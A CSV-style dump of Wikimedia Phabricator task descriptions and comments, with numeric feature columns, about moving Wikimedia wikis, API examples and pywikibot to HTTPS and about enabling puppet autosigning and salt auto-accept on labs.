+477675,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Change 219265 had a related patch set uploaded (by BBlack):
+No need for wgSecureLogin on our wikis, HTTPS is forced everywhere
+
+[[https://gerrit.wikimedia.org/r/219265]]
+",,,1434664813,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+103015,Update all example API requests to use formatversion=2 and https,"(this may be a duplicate)
+
+`formatversion=2` in API requests gets a cleaner better response. It's the recommended future, so we should show it in all API requests, both on-wiki and in generated `getExamplesMessages()`. Related, ApiSandbox needs to support formatversion (T98083) and default it to on.
+
+Similarly, Wikimedia wikis are transitioning to only supporting https, including api.php, so all sample API URLs that show `http:` as the scheme should switch to `http`**s**`:`. The {{ApiEx}} wiki template and generated `getExamplesMessages()` don't show the scheme.
+
+(We also should have shown `continue=` in all examples to encourage the improved continue format, but that will become the default in July 2015.)",Needs Triage,90.0,1434663096,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-4ekvfxba25emo7vvb66n,task_description,open,True,c3,2,False,False,,-2,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+1377261,Update all example API requests to use formatversion=2 and https,@Dikshagupta99 this might not be a great task to look at as part of Outreachy. I'd suggest looking through #good_first_bug tasks and pull from there. You could filter by #core_platform_team. Let me know if I can help more!,,,1571854503,,PHID-USER-hx7mn7y7biqi3oacdwpe,False,,,PHID-TASK-4ekvfxba25emo7vvb66n,task_subcomment,,True,c3,3,False,,,224,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,1,1,0,0
+1377002,Update all example API requests to use formatversion=2 and https,Hi. I'm Diksha  and I'm an outreachy applicant. I want to contribute to this project. May I know the repository name of this task?,,,1571839229,,PHID-USER-cfdbrbvdqbcjhtvdpbca,False,,,PHID-TASK-4ekvfxba25emo7vvb66n,task_subcomment,,True,c3,3,False,,,224,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+986784,Update all example API requests to use formatversion=2 and https,"Change 400074 had a related patch set uploaded (by Gergő Tisza; owner: Gergő Tisza):
+[mediawiki/core@master] Add formatversion=2 to all API examples
+
+[[https://gerrit.wikimedia.org/r/400074]]
+",,,1514068684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ekvfxba25emo7vvb66n,task_subcomment,,True,c3,3,False,,,129,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+102504,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","autosigner.py automatically signs labs puppet and salt CSRs.  
+
+This can instead be done via https://docs.puppetlabs.com/puppet/latest/reference/ssl_autosign.html and https://docs.saltstack.com/en/latest/ref/configuration/master.html#auto-accept along with a nova plugin maybe that deletes the key when an instance is deleted.",Needs Triage,90.0,1434386118,1435870427.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-xotjpinwg4mzuwx3cadk,task_description,resolved,True,c3,2,True,False,True,-3,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+485858,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 220306 merged by Andrew Bogott:
+Switch on salt auto_accept for labs.
+
+[[https://gerrit.wikimedia.org/r/220306]]",,,1435869158,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+485848,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 218380 merged by Andrew Bogott:
+puppetmaster: Enable autosigning puppet certs for labs
+
+[[https://gerrit.wikimedia.org/r/218380]]",,,1435868627,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+484414,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 220305 abandoned by Andrew Bogott:
+Turn on puppet autosigning on labs.
+
+Reason:
+Dropped in favor of https://gerrit.wikimedia.org/r/#/c/218380/
+
+[[https://gerrit.wikimedia.org/r/220305]]",,,1435687885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+480828,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 218379 abandoned by Andrew Bogott:
+salt: Allow salt master to auto accept salt keys
+
+Reason:
+replaced by https://gerrit.wikimedia.org/r/#/c/220306/
+
+[[https://gerrit.wikimedia.org/r/218379]]",,,1435162615,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+480827,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 218383 abandoned by Andrew Bogott:
+labs: Have salt master auto accept keys
+
+Reason:
+relaced by https://gerrit.wikimedia.org/r/#/c/220306/
+
+[[https://gerrit.wikimedia.org/r/218383]]",,,1435162591,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+480339,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 220306 had a related patch set uploaded (by Andrew Bogott):
+Switch on salt auto_accept for labs.
+
+[[https://gerrit.wikimedia.org/r/220306]]
+",,,1435093577,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+480338,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 220305 had a related patch set uploaded (by Andrew Bogott):
+Turn on puppet autosigning on labs.
+
+[[https://gerrit.wikimedia.org/r/220305]]
+",,,1435093576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+480279,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Moritz, can you confirm that salt auto-accept and puppet autosign don't seem dangerous? ",,,1435089682,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+475632,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Note that the existing cleaner script does some validation, checking for pathological cert names and verifying that instances actually exist before signing.  I'm not sure that matters though.",,,1434469806,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+475628,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept",This seems fine.  The puppetsigner script still does useful cleanup work -- we'll need to prune and rename the puppetsigner to 'certcleaner'.,,,1434469683,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+475394,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept",Adding Moritz to check security impact,,,1434452138,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+474806,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 218383 had a related patch set uploaded (by Yuvipanda):
+labs: Have salt master auto accept keys
+
+[[https://gerrit.wikimedia.org/r/218383]]
+",,,1434387380,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+474800,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 218380 had a related patch set uploaded (by Yuvipanda):
+puppetmaster: Enable autosigning puppet certs for labs
+
+[[https://gerrit.wikimedia.org/r/218380]]
+",,,1434386938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+474799,"Replace puppetsigner with a script to clean certificates, puppet's autosign and salt's auto accept","Change 218379 had a related patch set uploaded (by Yuvipanda):
+salt: Allow salt master to auto accept salt keys
+
+[[https://gerrit.wikimedia.org/r/218379]]
+",,,1434386765,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xotjpinwg4mzuwx3cadk,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+102477,login script -pass parameter ignored,"The `-pass` parameter (in both variants) is ignored and the buffered password in the login script is never used again.
+
+[[https://gerrit.wikimedia.org/r/#/c/181582/|Gerrit 181582]] is a patch which would build the basis for the script to pass the password along.",Needs Triage,90.0,1434378211,1615025776.0,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-2srd5rokkiawnha7aakf,task_description,duplicate,True,c3,2,True,False,False,-3,True,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+714473,login script -pass parameter ignored,"Is this still open or did the patch fix it?
+
+If still open could it be merged with T108848?",,,1471632304,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-2srd5rokkiawnha7aakf,task_subcomment,,True,c3,3,False,,,59,True,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+547898,login script -pass parameter ignored,"Change 247039 merged by jenkins-bot:
+[IMPROV] login: Inform about unsupported -pass
+
+[[https://gerrit.wikimedia.org/r/247039]]",,,1445115546,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2srd5rokkiawnha7aakf,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+547827,login script -pass parameter ignored,"Change 247039 had a related patch set uploaded (by XZise):
+[IMPROV] login: Inform about unsupported -pass
+
+[[https://gerrit.wikimedia.org/r/247039]]
+",,,1445082854,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2srd5rokkiawnha7aakf,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+102315,pywikibot support for https-only,"Wikimedia sites are apparently going https only, which means that any code using http:// may break.
+The [[https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/| announcement ]] is very light on details.
+
+https://meta.wikimedia.org/wiki/HTTPS#2015
+
+Both core and compat support using https, however they both have instances where a URL is created manually (not via Family methods), and that URL has a http:// protocol/schema.
+
+I suspect that the servers will still forward http:// URLs to https:// , but that needs to be confirmed.
+In any case, we should fix any instances where the code is using the Family methods to create a URL.
+
+Here is one regex to see some examples of the problem
+```
+git grep '^[^#@]*http:\/\/.*wiki.*\.org'
+```",Needs Triage,90.0,1434160068,1509729383.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-aswxykknolbbycawydkz,False,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_description,resolved,True,c3,2,True,False,False,-3,True,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+968038,pywikibot support for https-only,"Change 390872 merged by jenkins-bot:
+[pywikibot/core@master] Use http scheme for Wikidata entity URIs
+
+[[https://gerrit.wikimedia.org/r/390872]]
+",,,1511249653,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,False,,,124,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+962993,pywikibot support for https-only,"Change 390872 had a related patch set uploaded (by Dalba; owner: Dalba):
+[pywikibot/core@master] Use http scheme for Wikidata entity URIs
+
+[[https://gerrit.wikimedia.org/r/390872]]
+",,,1510488328,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,False,,,123,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+962989,pywikibot support for https-only,"I'm not sure those last wikidata links should have been changed, per T153563. See note in https://gerrit.wikimedia.org/r/390872",,,1510485859,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,False,,,123,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+958774,pywikibot support for https-only,All http links in code have been changed in https.  Those that remain are in the comments.,,,1509729383,,PHID-USER-aswxykknolbbycawydkz,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,True,,,122,True,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+958769,pywikibot support for https-only,"Change 388428 merged by jenkins-bot:
+[pywikibot/core@master] Change last http links to https
+
+[[https://gerrit.wikimedia.org/r/388428]]
+",,,1509729045,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,False,,,122,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+958493,pywikibot support for https-only,"Change 388428 had a related patch set uploaded (by Framawiki; owner: Framawiki):
+[pywikibot/core@master] Change last links from http to https
+
+[[https://gerrit.wikimedia.org/r/388428]]
+",,,1509709519,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,False,,,122,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+763767,pywikibot support for https-only,"Compat decommission
+",,,1479527300,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,True,,,72,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+646073,pywikibot support for https-only,"As I understand it, this ticket is a request for updates to the pywikibot code.  I'm going to remove the Operations tag; please re-add with a clear request if you need something from Ops.",,,1460662841,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,True,,,41,True,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+573043,pywikibot support for https-only,Well if you look in my comment (T102315#1371485) you'll see that for most purposes we are not doing HTTP requests but HTTPS requests.,,,1449245348,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,True,,,22,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+572988,pywikibot support for https-only,"Is pywikibot still using http:// URLs for WMF sites?  The real problem we've run into with bot code in general is that a lot of bots do direct POST requests to their configured http URLs (as opposed to perhaps a GET to the configured URL, then seeing a 301 to https, then using https from there out for further POST requests).  POST traffic cannot effectively be redirected and will eventually just get broken if it's not https...",,,1449239260,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,True,,,22,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+476135,pywikibot support for https-only,"Regarding hard coded http values for Wikidata, in code and in tests, see T102741.",,,1434523798,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+475862,pywikibot support for https-only,"Okay looking through the #pywikibot-core repository (excluding the tests):
+
+* There are three instances where links are used as documentation so they won't cause the bot to fail (patrol script, `pywikibot.interwiki_graph`, `pywikibot.family`)
+* One instance is in the example result when using rcstream so at most the test might fail (need to look into that more closely)
+* One mismatch in `pywikibot.page.FilePage` (for wikitravel which is afaik nicht managed by WMF and even though fixing T74847 should help reduce the necessity for that)
+* The only large problem would be the Wikidata family which uses a bunch of hardcoded links. To be honest looking at that I think there must be a more dynamic implementation or not such a verbose one (e.g. instead of the full URL maybe just the name of the Wikidata entry).
+
+The tests are not as easy to answer because a request via HTTP might be intentional and most matches are from the Q60.wd file for the tests so we might want to download a newer version of it or something.",,,1434484820,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,2,True,,,-3,True,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+475844,pywikibot support for https-only,"Yes, we'll be serving HTTP 301's on port 80 indefinitely into the future as far as I'm aware.  It's still better to avoid using the redirect and go directly HTTPS when possible, though.
+
